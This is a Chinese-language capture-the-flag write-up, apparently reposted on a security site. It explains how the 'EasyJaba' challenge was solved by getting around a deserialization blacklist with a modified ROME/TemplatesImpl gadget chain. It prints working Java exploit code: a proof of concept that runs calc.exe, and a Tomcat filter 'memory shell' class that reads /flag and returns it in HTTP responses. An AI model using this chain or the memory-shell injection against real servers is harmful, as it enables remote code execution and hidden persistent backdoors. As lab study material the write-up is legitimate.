<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    【技術分享】從一道題看java反序列化和回顯獲取

    VSole2022-08-11 08:58:39

    前言

    EasyJaba 這個題目是隴原戰”疫”2021網絡安全大賽的一道題,最近正好在學習java反序列化和內存馬的相關知識,通過這個題目可以很好的進行實踐。

    反序列化

    題目給了jar包,直接用jd-gui反編譯看看

    Base64decode直接給了readObject,很明顯有反序列化的考點了,不過這里還有個神秘的object1和BlacklistObjectInputStream,應該是給的一些障礙

    簡單看了一下應用沒看到實現了Serailizable接口的類,看下lib,發現了rome

    應該就是從經典的ROME 1.0 任意代碼執行反序列化鏈子入手了

    直接用idea反編譯,這次代碼清楚多了

    簡單分析下就是給ObjectInputStream加了倆黑名單

    java.util.HashMapjavax.management.BadAttributeValueExpException
    

    再看ROME的反序列化鏈條

    TemplatesImpl.getOutputProperties()NativeMethodAccessorImpl.invoke0(Method, Object, Object[])NativeMethodAccessorImpl.invoke(Object, Object[])DelegatingMethodAccessorImpl.invoke(Object, Object[])Method.invoke(Object, Object...)ToStringBean.toString(String)ToStringBean.toString()ObjectBean.toString()EqualsBean.beanHashCode()ObjectBean.hashCode()HashMap<K,V>.hash(Object)HashMap<K,V>.readObject(ObjectInputStream)
    

    入口點就是從HashMap開始的,顯然不能直接使用了

    但是注意到代碼直接給了toString

    所以我們只需要把鏈子稍微改下就能用了,新的鏈子

    TemplatesImpl.getOutputProperties()NativeMethodAccessorImpl.invoke0(Method, Object, Object[])NativeMethodAccessorImpl.invoke(Object, Object[])DelegatingMethodAccessorImpl.invoke(Object, Object[])Method.invoke(Object, Object...)ToStringBean.toString(String)ToStringBean.toString()
    

    其實主要是利用了ROME的ToStringBean觸發可控.invoke(可控,NO_PARAMS)然后利用TemplatesImpl這個類來實現任意代碼執行

    如何利用可控.invoke(可控,NO_PARAMS)實現任意代碼執行

    這其實是很多java反序列化導致任意代碼執行的最后一環

    這里我們利用的是TemplatesImpl.getOutputProperties()

    簡單寫個Poc下斷點跟下流程

    import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import java.lang.reflect.Constructor;import java.lang.reflect.Method;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import javassist.ClassPool;import javassist.CtClass;import java.util.Properties;public class Poc {    public static class Evil extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet{        static {            //shell code here
                System.out.println("Hello Java");
            }        @Override
            public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
            }        @Override
            public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
            }
        }    public static void main(String[] args) throws Exception{
            ClassPool pool = ClassPool.getDefault();
            CtClass clazz = pool.get(Evil.class.getName());        byte[][] bytecodes = new byte[][]{clazz.toBytecode()};
            Class templatesimpl = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
            Class[] types = {byte[][].class, String.class, Properties.class, int.class, TransformerFactoryImpl.class};
            Constructor constructor = templatesimpl.getDeclaredConstructor(types);
            constructor.setAccessible(true);
            TransformerFactoryImpl tf = new TransformerFactoryImpl();
            Properties p = new Properties();
            Object[] params = {bytecodes,"whatever",p,1,tf};
            Object object = constructor.newInstance(params);
            Method method = templatesimpl.getMethod("getOutputProperties");
            method.invoke(object,null);
        }
    }
    

    首先進入

    因為我們之前反射調用templatesImple的構造函數構造了一個對象

    Object[] params = {bytecodes,"whatever",p,1,tf};
    Object object = constructor.newInstance(params);
    

    此時該templatesImpl的_bytecodes就是我們注入的惡意類字節碼

    下一步跳轉到newTransformer

    然后跳轉到getTransletInstance

    因為我們的templatesImple _class屬性為null,會進入defineTransletClasses();

    這個方法大致意思就是將我們的字節碼,通過Classloader defineClass轉成Class并存儲在templatesImple的_class屬性中

    此處還會對class的父類進行檢查如果是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,則將_transletIndex指向該位置

    回到getTransletInstance,可以發現此時會實力話我們注入的惡意類,同時會強制類型轉換成AbstractTranslet類型,這兩處也是為什么我們需要將我們的惡意類繼承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,不然無法觸發此處構造函數

    然后就能執行我們惡意類Evil里static代碼塊了。

    言歸正傳,對于本題我們構造如下exp,這里也可以通過javassist手動加上父類

    ClassPool pool = ClassPool.getDefault();
    CtClass clazz = pool.get(E.class.getName());
    clazz.setSuperclass(pool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName()));byte[][] bytecodes = new byte[][]{clazz.toBytecode()};
    TemplatesImpl templatesimpl = new TemplatesImpl();
    Field fieldByteCodes = templatesimpl.getClass().getDeclaredField("_bytecodes");
    fieldByteCodes.setAccessible(true);
    fieldByteCodes.set(templatesimpl, bytecodes);
    Field fieldName = templatesimpl.getClass().getDeclaredField("_name");
    fieldName.setAccessible(true);
    fieldName.set(templatesimpl, "test");
    Field fieldTfactory = templatesimpl.getClass().getDeclaredField("_tfactory");
    fieldTfactory.setAccessible(true);
    fieldTfactory.set(templatesimpl, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
    ObjectBean objectBean = new ObjectBean(Templates.class, templatesimpl);
    

    其中E為我們構造的惡意類用來執行代碼比如

        public static class E{        static  {            try {
                    java.lang.Runtime.getRuntime().exec("calc.exe");
                }catch (Throwable t){}
            }
        }
    

    將生成的payload打過去以后可以發現彈出了計算器

    獲得回顯

    在可以命令執行后嘗試了各種方法,但是發現拿不到命令執行的結果,后來發現有題目提示不出網…

    不出網意味著類似反彈shell,curl,dnslog之類外帶回顯方式不可用了。加上并沒有給靜態文件的目錄,將回顯寫入靜態文件的方式也不好操作。這里利用內存馬的思想,動態注入一個filter來獲得回顯。但是還有一個坑點在于由于我們的data是在url里注入的,如果太長的話會爆Request too Large的錯誤。所以我們要盡量縮短生成的類字節碼大小。最終構造的惡意類如下。

    public static class E{    static {        try {            //這里采取Litch1師傅文章的思路,通過WebappClassLoader拿到StandardContext
                Class WebappClassLoaderBaseClz = Class.forName("org.apache.catalina.loader.WebappClassLoaderBase");
                Object webappClassLoaderBase = Thread.currentThread().getContextClassLoader();
                Field WebappClassLoaderBaseResource = WebappClassLoaderBaseClz.getDeclaredField("resources");
                WebappClassLoaderBaseResource.setAccessible(true);
                Object resources = WebappClassLoaderBaseResource.get(webappClassLoaderBase);
                Class WebResourceRoot = Class.forName("org.apache.catalina.WebResourceRoot");
                Method getContext = WebResourceRoot.getDeclaredMethod("getContext", null);            //拿到StandardContext后就可以通過addFilterMap方法注入filter型內存馬了
                StandardContext standardContext = (StandardContext) getContext.invoke(resources, null);
    Filter filter = (servletRequest, servletResponse, filterChain) -> {
                            FileInputStream fis = new FileInputStream("/flag");                        byte[] buffer = new byte[16];
                            StringBuilder res = new StringBuilder();                        while (fis.read(buffer) != -1) {
                                res.append(new String(buffer));
                                buffer = new byte[16];
                            }
                            fis.close();
                            servletResponse.getWriter().write(res.toString());
                            servletResponse.getWriter().flush();
                        };
                FilterDef filterDef = new FilterDef();
                filterDef.setFilterName("A");
                filterDef.setFilterClass(filter.getClass().getName());
                filterDef.setFilter(filter);
                standardContext.addFilterDef(filterDef);
                FilterMap filterMap = new FilterMap();
                filterMap.setFilterName("A");
                filterMap.addURLPattern("/*");
                standardContext.addFilterMap(filterMap);
                standardContext.filterStart();            //本地測試時取消下面這行可以幫助觀察是否注入成功
                //System.out.println("injected");
            }catch (Throwable t){            //t.printStackTrace();
            }
        }
    }
    

    然后實際測試的時候發現自己帶命令執行的生成的字節碼都太長了,于是索性只讀取”/flag”試試。

    第一次訪問

    第二次訪問,成功拿到flag

    序列化object
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    java序列化與反序列化
    2022-04-13 16:35:35
    java反序列化指字節序列恢復到java對象。bit,則一個字最大為 FFFF。序列化是把對象轉換成有序字節流,以便在網絡上傳輸或者保存在本地文件中。序列化后的字節流保存了Java對象的狀態以及相關的描述信息。序列化機制的核心作用就是對象狀態的保存與重建。
    環境搭建完成后,直接使用工具檢測即可:工具下載地址https://cdn.vulhub.org/deserialization/DeserializeExploit.jar 環境啟動以后,直接訪問http://you-ip:8080。
    JDK1.7 Idea 2020.1 Apache CommonCollections V3.1 Idea默認版本Maven
    FastJson結合二次反序列化繞過黑名單
    序列化漏洞匯總
    2022-01-07 22:17:34
    漏洞出現在WLS Security組件,允許遠程攻擊者執行任意命令。攻擊者通過向TCP端口7001發送T3協議流量,其中包含精心構造的序列化Java對象利用此漏洞。然后將其序列化,提交給未做安全檢測的Java應用。Java應用在進行反序列化操作時,則會觸發TransformedMap的變換函數,執行預設的命令。
    初識Java反序列化
    2022-06-10 08:49:49
    研究某產品反序列化EXP時,搜集到的POC只有一段16進制字節序列難以利用,遂有下文對Java序列化和反序列化的學習。 大致內容如下: 序列化和反序列化示例 序列化數據組成解構 反序列化漏洞形成原理
    Java反序列化是java安全的基礎,想要學好java反序列化,就不能只看看相關文章,要自己動手實踐,看看java反序列化到底是怎么回事。JSON和XML是通用數據交互格式,通常用于不同語言、不同環境下數據的交互,比如前端的JavaScript通過JSON和后端服務通信、微信服務器通過XML和公眾號服務器通信。快速入門Java Serialization(序列化):將java對象以一連串的字節保存在磁盤文件中的過程,也可以說是保存java對象狀態的過程。
    CVE-2020-14756 這個漏洞的利用比較巧妙,通過利用weblogic coherence組件中的類,繞過了黑名單機制的檢測,重新能夠利用黑名單中的類,造成代碼執行。readExternal和writeExternal方法 而ExternalizableLite接口的對象可以在里被序列化。在put方法里,調用了compare方法而這里又會調用WrapperComparator的compare方法 這個f_comparator就是之前已經賦值過的。然后又會調用子類MvelExtractor的extract方法。這里不但會將ObjectInput轉為DataInput,還會主動調用。判斷輸入流類型之后,調用了readObject。然后通過getObjectInputFilter/getInternalObjectInputFilter方法去獲取serialFilter,之后,調用checkInput,對當前序列化的類進行檢測。
    最近在分析JDK7u21的Gadgets,有兩個不解之處,閱讀前輩們的文章發現并未提起。1.為什么有的POC入口是LinkedHashSet,有的是HashSet,兩個都可以觸發嗎?
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类